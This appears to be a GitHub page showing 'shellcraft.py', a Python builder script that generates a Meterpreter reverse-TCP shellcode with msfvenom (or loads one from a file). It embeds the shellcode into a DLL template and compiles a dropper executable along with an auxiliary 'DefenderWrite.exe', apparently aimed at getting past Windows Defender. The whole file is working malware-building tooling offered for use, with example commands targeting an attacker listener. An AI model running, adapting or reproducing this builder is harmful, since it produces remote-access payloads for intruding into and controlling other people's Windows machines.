-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshellcraft.py
More file actions
331 lines (261 loc) · 11.3 KB
/
shellcraft.py
File metadata and controls
331 lines (261 loc) · 11.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
#!/usr/bin/env python3
import os
import sys
import subprocess
import argparse
import re
import shutil
def print_banner():
banner = r"""
_____ _ _ _ _____ __ _
/ ____| | | | | / ____| / _| |
| (___ | |__ ___| | | | | _ __ __ _| |_| |_
\___ \| '_ \ / _ \ | | | | | '__/ _` | _| __|
____) | | | | __/ | | | |____| | | (_| | | | |_
|_____/|_| |_|\___|_|_| \_____|_| \__,_|_| \__\
SHELLCRAFT by @sam_x86_
"""
print(banner)
def check_dependencies():
required_tools = ["msfvenom", "x86_64-w64-mingw32-g++"]
missing_tools = []
for tool in required_tools:
if not shutil.which(tool):
missing_tools.append(tool)
if missing_tools:
print(f"[-] Missing required tools: {', '.join(missing_tools)}")
print("[+] Install with: sudo apt install metasploit-framework mingw-w64")
return False
return True
def extract_shellcode_from_c_format(c_output):
hex_matches = re.findall(r'\\x([0-9a-fA-F]{2})', c_output)
if hex_matches:
print(f"[+] Found {len(hex_matches)} shellcode bytes")
return [f"0x{byte.upper()}" for byte in hex_matches]
return None
def generate_shellcode(lhost, lport):
print("[+] Generating shellcode with msfvenom...")
try:
result = subprocess.run([
"msfvenom",
"-p", "windows/x64/meterpreter_reverse_tcp",
f"LHOST={lhost}",
f"LPORT={lport}",
"-f", "c",
"-b", "\\x00\\x0a\\x0d"
], capture_output=True, text=True, check=True)
output = result.stdout
print(f"[*] msfvenom output length: {len(output)} characters")
shellcode_bytes = extract_shellcode_from_c_format(output)
if not shellcode_bytes:
print("[-] Failed to extract shellcode bytes from msfvenom output")
return None
print(f"[+] Successfully extracted {len(shellcode_bytes)} bytes of shellcode")
if len(shellcode_bytes) < 300:
print(f"[-] Shellcode too small ({len(shellcode_bytes)} bytes), something wrong")
return None
return shellcode_bytes
except subprocess.CalledProcessError as e:
print(f"[-] msfvenom failed: {e.stderr}")
return None
def load_shellcode_file(shellcode_path):
try:
with open(shellcode_path, "rb") as f:
output = f.read()
shellcode_bytes = [f"0x{b:02X}" for b in output]
if not shellcode_bytes:
print(f"[-] Failed to read shellcode from {shellcode_path}")
return None
print(f"[+] Successfully loaded {len(shellcode_bytes)} bytes of shellcode")
if len(shellcode_bytes) < 300:
print(f"[-] Shellcode too small ({len(shellcode_bytes)} bytes), may be invalid")
return shellcode_bytes
except Exception as e:
print(f"[-] Error reading shellcode file: {e}")
return None
def format_shellcode_for_cpp(shellcode_bytes):
"""Format shellcode bytes for C++ array - properly formatted"""
lines = []
for i in range(0, len(shellcode_bytes), 16):
chunk = shellcode_bytes[i:i+16]
line = " " + ", ".join(chunk)
if i + 16 < len(shellcode_bytes):
line += ","
lines.append(line)
return "\n".join(lines)
def read_write_payloads(shellcode_bytes, args):
script_dir = os.path.dirname(os.path.abspath(__file__))
sources_dir = os.path.join(script_dir, "sources")
# Format shellcode
formatted_shellcode = format_shellcode_for_cpp(shellcode_bytes)
print(f"[+] Shellcode formatted into C array ({len(shellcode_bytes)} bytes)")
# Read and write DefenderWrite.cpp
defenderwrite_path = os.path.join(sources_dir, "DefenderWrite.cpp")
if not os.path.exists(defenderwrite_path):
print(f"[-] ERROR: Template not found: {defenderwrite_path}")
sys.exit(1)
with open(defenderwrite_path, "r", encoding="utf-8") as f:
defenderwrite = f.read()
with open("DefenderWrite.cpp", "w", encoding="utf-8") as f:
f.write(defenderwrite)
# Create DLL source
dll_name = os.path.splitext(args.output)[0] + ".dll"
dll_template_path = os.path.join(sources_dir, "payload_dll.cpp")
if not os.path.exists(dll_template_path):
print(f"[-] ERROR: Template not found: {dll_template_path}")
sys.exit(1)
with open(dll_template_path, "r", encoding="utf-8") as f:
dll_src = f.read()
# Replace the placeholder with formatted shellcode
dll_src = dll_src.replace("SHELLCODE_PLACEHOLDER", formatted_shellcode)
with open("payload_dll.cpp", "w", encoding="utf-8") as f:
f.write(dll_src)
# Create dropper EXE
exe_name = args.output
dropper_template_path = os.path.join(sources_dir, "dropper.cpp")
if not os.path.exists(dropper_template_path):
print(f"[-] ERROR: Template not found: {dropper_template_path}")
sys.exit(1)
with open(dropper_template_path, "r", encoding="utf-8") as f:
exe_src = f.read()
# Replace the DLL name placeholder (be careful with the placeholder format)
exe_src = exe_src.replace("{dll_name}", dll_name)
with open("dropper.cpp", "w", encoding="utf-8") as f:
f.write(exe_src)
return exe_name, dll_name
def compile_payloads(exe_name, dll_name):
print("[+] Compiling DefenderWrite.exe...")
try:
subprocess.run([
"x86_64-w64-mingw32-g++",
"-O2", "-s", "-mwindows", "-static",
"-static-libgcc", "-static-libstdc++",
"-o", "DefenderWrite.exe",
"DefenderWrite.cpp"
], check=True)
print("[+] DefenderWrite.exe compiled successfully")
except subprocess.CalledProcessError as e:
print(f"[-] Failed to compile DefenderWrite.exe: {e}")
return False
print(f"[+] Compiling {dll_name}...")
try:
# First, let's check if the DLL source compiles correctly
result = subprocess.run([
"x86_64-w64-mingw32-g++",
"-c", "-O2",
"payload_dll.cpp",
"-o", "payload_dll.o"
], capture_output=True, text=True)
if result.returncode != 0:
print(f"[-] Compilation check failed: {result.stderr}")
# Let's check the generated file
print("[+] Checking generated payload_dll.cpp...")
with open("payload_dll.cpp", "r") as f:
content = f.read()
# Print first 10 lines and last 10 lines
lines = content.split('\n')
print("[+] First 10 lines of payload_dll.cpp:")
for i in range(min(10, len(lines))):
print(f" {i+1}: {lines[i]}")
print("\n[+] Last 10 lines of payload_dll.cpp:")
for i in range(max(0, len(lines)-10), len(lines)):
print(f" {i+1}: {lines[i]}")
return False
# If check passes, compile the DLL
subprocess.run([
"x86_64-w64-mingw32-g++",
"-shared", "-s", "-O2",
"-static", "-static-libgcc", "-static-libstdc++",
"-o", dll_name,
"payload_dll.cpp",
"-lws2_32", "-lwininet"
], check=True)
print(f"[+] {dll_name} compiled successfully")
except subprocess.CalledProcessError as e:
print(f"[-] Failed to compile DLL: {e}")
return False
print(f"[+] Compiling {exe_name}...")
try:
subprocess.run([
"x86_64-w64-mingw32-g++",
"-O2", "-s", "-mwindows",
"-static", "-static-libgcc", "-static-libstdc++",
"-o", exe_name,
"dropper.cpp",
"-lshlwapi"
], check=True)
print(f"[+] {exe_name} compiled successfully")
except subprocess.CalledProcessError as e:
print(f"[-] Failed to compile EXE: {e}")
return False
return True
def cleanup():
temp_files = ["payload_dll.cpp", "dropper.cpp", "DefenderWrite.cpp", "payload_dll.o"]
for temp_file in temp_files:
if os.path.exists(temp_file):
os.remove(temp_file)
print(f"[+] Removed {temp_file}")
def main():
parser = argparse.ArgumentParser(
description="Build DefenderWrite payload with shellcode",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
Method 1 (MSF generated): python3 %(prog)s --msf 192.168.1.100 4444 -o payload.exe
Method 2 (File based): python3 %(prog)s -s shellcode.bin -o payload.exe
"""
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--msf", nargs=2, metavar=("LHOST", "LPORT"),
help="Generate shellcode with msfvenom (LHOST LPORT)")
group.add_argument("-s", "--shellcode-file",
help="Use existing shellcode file (e.g., shellcode.bin)")
parser.add_argument("-o", "--output", default="payload.exe",
help="Output EXE name (default: payload.exe)")
args = parser.parse_args()
print_banner()
if not check_dependencies():
sys.exit(1)
shellcode_bytes = None
if args.shellcode_file:
print(f"[+] Loading shellcode from file: {args.shellcode_file}")
shellcode_bytes = load_shellcode_file(args.shellcode_file)
elif args.msf:
lhost, lport = args.msf
print(f"[+] Generating shellcode for {lhost}:{lport}")
shellcode_bytes = generate_shellcode(lhost, lport)
if not shellcode_bytes:
print("[-] Failed to get valid shellcode. Exiting.")
sys.exit(1)
if not os.path.exists("sources"):
print("[!] ERROR: sources/ directory not found!")
print("[!] Please create a 'sources' directory with the following files:")
print("[!] - sources/DefenderWrite.cpp")
print("[!] - sources/payload_dll.cpp")
print("[!] - sources/dropper.cpp")
sys.exit(1)
required_sources = ["DefenderWrite.cpp", "payload_dll.cpp", "dropper.cpp"]
for source_file in required_sources:
source_path = os.path.join("sources", source_file)
if not os.path.exists(source_path):
print(f"[!] ERROR: Missing {source_path}")
sys.exit(1)
exe_name, dll_name = read_write_payloads(shellcode_bytes, args)
# Save a copy of the generated DLL source for debugging
with open("debug_payload_dll.cpp", "w") as f:
with open("payload_dll.cpp", "r") as src:
f.write(src.read())
print("[+] Saved debug_payload_dll.cpp for inspection")
if not compile_payloads(exe_name, dll_name):
print("[-] Compilation failed. Check debug_payload_dll.cpp for errors.")
sys.exit(1)
cleanup()
print("\n[*] Build completed successfully")
print(f"[*] Executable : {exe_name}")
print(f"[*] DLL : {dll_name}")
print(f"[*] Auxiliary : DefenderWrite.exe")
print(f"[*] Shellcode size : {len(shellcode_bytes)} bytes")
print("\n[*] Usage:")
print(f" {exe_name} must be executed from the same directory\n")
if __name__ == "__main__":
main()